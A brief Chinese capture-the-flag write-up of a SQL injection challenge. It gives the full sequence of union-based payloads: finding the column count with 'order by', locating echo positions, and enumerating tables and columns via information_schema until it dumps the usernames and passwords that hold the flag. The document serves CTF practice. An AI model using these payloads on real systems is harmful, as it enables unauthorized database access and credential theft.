考点:
sql注入
复现:
进去之后我们试一下万能密码先
转到了check.php,告诉我们用户名和密码,但是并不是flag
考虑注入
先查询字段数:
admin' order by 1 #
admin' order by 2 #
admin' order by 3 #
admin' order by 4 #
到4的时候报错,一共有3个字段
接下来用union查询测试注入点:
1' union select 1,2,3 #
找到回显位置
查询数据库名
1' union select 1,2,database() #
接下来爆表:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆出两个表名,试试l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
看到三个字段,爆一下信息:
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
得到flag